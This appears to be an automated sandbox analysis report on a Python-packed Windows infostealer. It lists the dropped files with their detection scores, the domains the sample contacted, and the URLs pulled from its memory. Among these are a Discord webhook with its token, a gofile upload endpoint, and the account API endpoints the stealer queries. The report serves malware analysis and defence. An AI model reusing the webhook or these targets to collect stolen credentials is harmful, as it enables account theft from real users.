C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-libraryloader-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-localization-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-memory-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-namedpipe-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-processenvironment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-processthreads-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-processthreads-l1-1-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-profile-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-rtlsupport-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-synch-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-synch-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-sysinfo-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-timezone-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-util-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-conio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-convert-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-environment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-filesystem-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-locale-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-math-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-process-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-runtime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-stdio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-time-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-utility-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography\hazmat\bindings\_rust.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\frozenlist\_frozenlist.cp312-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\multidict\_multidict.cp312-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\pyexpat.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\python3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\python312.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\autocommand-2.2.2.dist-info\METADATA	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\tomli-2.0.1.dist-info\METADATA	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\ucrtbase.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\yarl\_helpers_c.cp312-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI62482\yarl\_quoting_c.cp312-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\WaltuhiumUpdateService\Waltuhium.exe	39%	ReversingLabs	Win64.Infostealer.Generic

Source	Detection	Scanner	Label
https://tidelift.com/badges/package/pypi/jaraco.context	0%	Avira URL Cloud	safe
https://tidelift.com/subscription/pkg/pypi-inflect?utm_source=pypi-inflect&utm_medium=readme	0%	Avira URL Cloud	safe
https://t.m	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
discord.com	162.159.128.233	true	false	high
raw.githubusercontent.com	185.199.108.133	true	false	high
ip-api.com	208.95.112.1	true	false	high
store1.gofile.io	45.112.123.227	true	false	high
api.gofile.io	45.112.123.126	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ip-api.com/json	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://account.riotgames.com/api/account/v1/user	dens.exe, 00000001.00000002.2065840067.000002D9AC8B0000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jaraco/keyring/commit/a85a7cbc6c909f8121660ed1f7b487f99a1c2bf7	METADATA.0.dr	false		high
https://img.shields.io/pypi/pyversions/backports.tarfile.svg	dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, METADATA15.0.dr	false		high
https://github.com/pyca/cryptography/issues/8996	dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp	false		high
https://github.com/astral-sh/ruff	dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr, METADATA15.0.dr, METADATA.0.dr	false		high
https://discord.gift/	dens.exe, 00000001.00000003.2028227051.000002D9AB4D8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040430331.000002D9ABFF3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2037448253.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2033864513.000002D9AB513000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2028056493.000002D9AD0C3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2028962685.000002D9ACB74000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/251	dens.exe, 00000001.00000003.2047858320.000002D9AADF0000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039084149.000002D9AADB8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2041785184.000002D9AADEF000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2044813767.000002D9AADF0000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2059506844.000002D9AADF0000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039859652.000002D9AADEB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packages	dens.exe, 00000001.00000002.2062811455.000002D9AB9E0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.microsoft	powershell.exe, 00000052.00000002.1892090053.00000217AB814000.00000004.00000020.00020000.00000000.sdmp	false		high
https://readthedocs.org/projects/jaracofunctools/badge/?version=latest	METADATA0.0.dr	false		high
https://github.com/python/importlib_metadata/actions/workflows/main.yml/badge.svg	dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jaraco/jaraco.functools	METADATA0.0.dr	false		high
https://tidelift.com/badges/package/pypi/jaraco.context	METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://tiktok.com/	dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/aio-libs/aiohttp/discussions/6044	dens.exe, 00000001.00000003.2052987876.000002D9AB1F2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2065625241.000002D9AC640000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2060619384.000002D9AB1F6000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2045707437.000002D9AB1EF000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039709379.000002D9AB1E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/importlib_metadata/issues	dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	false		high
http://python.org	dens.exe, 00000001.00000002.2063237923.000002D9ABD20000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#module-importlib.resources	dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	dens.exe, 00000001.00000003.1694605237.000002D9AA95C000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1694358511.000002D9AA95C000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040028581.000002D9A8F05000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2038808296.000002D9A8EE8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039627706.000002D9A8EF4000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2057589696.000002D9AA930000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2057253439.000002D9A8F06000.00000004.00000020.00020000.00000000.sdmp	false		high
https://wheel.readthedocs.io/en/stable/news.html	METADATA14.0.dr	false		high
https://github.com/sponsors/hynek	dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	false		high
https://discord.com/api/v	dens.exe, 00000001.00000003.2028962685.000002D9ACB74000.00000004.00000020.00020000.00000000.sdmp	false		high
https://oauth.reddit.com/api/v1/me	dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	false		high
https://importlib-metadata.readthedocs.io/	dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/waltuhium	dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.apache.org/licenses/LICENSE-2.0	dens.exe, 00000000.00000003.1667879346.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1667879346.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1667942178.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packaging.python.org/en/latest/specifications/core-metadata/	dens.exe, 00000001.00000002.2062811455.000002D9AB9E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	dens.exe, 00000001.00000003.1703254242.000002D9AAE13000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1701312245.000002D9AB206000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1701761331.000002D9AAE13000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2042804568.000002D9AADFE000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039084149.000002D9AADB8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2041785184.000002D9AADEF000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2049463815.000002D9AAE14000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039859652.000002D9AADEB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000034.00000003.1792575862.000001DE90656000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.52.dr	false		high
https://github.com/jaraco/inflect	dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pypa/packaging	dens.exe, 00000001.00000002.2062310780.000002D9AB6B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://tidelift.com/?utm_source=lifter&utm_medium=referral&utm_campaign=hynek).	dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pypi.org/project/backports.tarfile	dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, METADATA15.0.dr	false		high
https://readthedocs.org/projects/importlib-metadata/badge/?version=latest	dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://refspecs.linuxfoundation.org/elf/gabi4	dens.exe, 00000001.00000003.1701168036.000002D9AB275000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2062310780.000002D9AB6B0000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1701312245.000002D9AB275000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1702755471.000002D9AB26D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store1.gofile.io/uploadFilex	dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp	false		high
https://img.shields.io/pypi/pyversions/importlib_resources.svg	dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000052.00000002.1907212473.00000217BD754000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000052.00000002.1907212473.00000217BD611000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000052.00000002.1892866312.00000217AEF03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://readthedocs.org/projects/backportstarfile/badge/?version=latest	dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, METADATA15.0.dr	false		high
https://discord.com/api/v9/users/	dens.exe, 00000001.00000003.2028056493.000002D9AD0C3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2028962685.000002D9ACB74000.00000004.00000020.00020000.00000000.sdmp	false		high
https://blog.jaraco.com/skeleton	dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr, METADATA15.0.dr, METADATA.0.dr	false		high
https://github.com/python-attrs/attrs/issues/136	dens.exe, 00000001.00000003.2041072267.000002D9AB1FB000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039709379.000002D9AB1E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba	dens.exe, 00000001.00000003.2032142839.000002D9ABE69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/platformdirs/platformdirs	dens.exe, 00000001.00000002.2062625021.000002D9AB8C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://fsf.org/	dens.exe, 00000000.00000003.1676624069.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	false		high
https://img.shields.io/pypi/pyversions/inflect.svg	dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	dens.exe, 00000001.00000002.2062990584.000002D9ABAE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000052.00000002.1892866312.00000217AD5A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000034.00000003.1792575862.000001DE906C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.52.dr	false		high
https://github.com/pypa/.github/blob/main/CODE_OF_CONDUCT.md	METADATA14.0.dr	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename	dens.exe, 00000001.00000002.2057356883.000002D9AA7D0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://discord.com/api/webhooks/1295868334612418591/QuvcFisisSeqgiaaEigFghTgy3B5fdld_JRxA14GVrqmyyg	dens.exe, 00000001.00000003.2028056493.000002D9AD0C3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2038212780.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2054186252.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040430331.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/1330)	dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jaraco/jaraco.context/actions?query=workflow%3A%22tests%22	METADATA.0.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000052.00000002.1892866312.00000217AEE7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000052.00000002.1892866312.00000217AECF9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://importlib-resources.readthedocs.io/en/latest/?badge=latest	dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pypi.org/project/build/).	dens.exe, 00000001.00000002.2062436664.000002D9AB7B0000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1703422725.000002D9AB24E000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1703029573.000002D9AB206000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1703084861.000002D9AB3D5000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2062811455.000002D9AB9E0000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2062625021.000002D9AB8C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000052.00000002.1892866312.00000217AEE7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000052.00000002.1892866312.00000217AECF9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/pypa/wheel	METADATA14.0.dr	false		high
https://www.python.org/dev/peps/pep-0427/	METADATA14.0.dr	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	dens.exe, 00000001.00000003.1694605237.000002D9AA95C000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1694358511.000002D9AA95C000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040028581.000002D9A8F05000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2038808296.000002D9A8EE8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039627706.000002D9A8EF4000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2057589696.000002D9AA930000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2057253439.000002D9A8F06000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/issues/86361.	dens.exe, 00000001.00000002.2057866234.000002D9AA9A6000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1695470478.000002D9AAD61000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2050249155.000002D9AA9A5000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2053260653.000002D9AA9A6000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1695759119.000002D9AAD61000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1695730686.000002D9AACF6000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1695759119.000002D9AACF7000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2042588070.000002D9AA996000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2053626399.000002D9AA9A6000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1698481560.000002D9AA97E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tidelift.com/subscription/pkg/pypi-inflect?utm_source=pypi-inflect&utm_medium=readme	dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000052.00000002.1892866312.00000217AEF03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.apache.org/licenses/	dens.exe, 00000000.00000003.1667879346.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000034.00000002.2911368637.000001DE8AEBF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pyca/cryptography/workflows/CI/badge.svg?branch=main	dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cryptography.io/en/latest/faq/#why-can-t-i-import-my-pem-file	dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module	dens.exe, 00000001.00000002.2058377253.000002D9AAB70000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches	dens.exe, 00000001.00000002.2058377253.000002D9AAB70000.00000004.00001000.00020000.00000000.sdmp	false		high
https://filepreviews.io/	dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	false		high
https://img.shields.io/pypi/v/inflect.svg	dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/en/stable/why.html#data-classes)	dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000052.00000002.1892866312.00000217AEE7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000052.00000002.1892866312.00000217AECF9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://img.shields.io/badge/skeleton-2024-informational	dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr, METADATA15.0.dr, METADATA.0.dr	false		high
https://packaging.python.org/en/latest/specifications/pyproject-toml/#declaring-project-metadata-the	dens.exe, 00000001.00000003.2042664984.000002D9AADB8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2047151959.000002D9AADC1000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2044627162.000002D9AADB8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039084149.000002D9AADB8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2050122173.000002D9AADC2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040864660.000002D9AADB8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2059354270.000002D9AADC3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cryptography.io/en/latest/installation/	dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.spotify.com/api/account-settings/v1/profilep	dens.exe, 00000001.00000002.2065840067.000002D9AC8B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/pypa/setuptools/issues/417#issuecomment-392298401	dens.exe, 00000001.00000002.2060074446.000002D9AAF70000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pesterp	powershell.exe, 00000052.00000002.1892866312.00000217AD7D5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Lucretiel/autocommand/issues	dens.exe, 00000000.00000003.1676683442.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/en/stable/changelog.html	dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	false		high
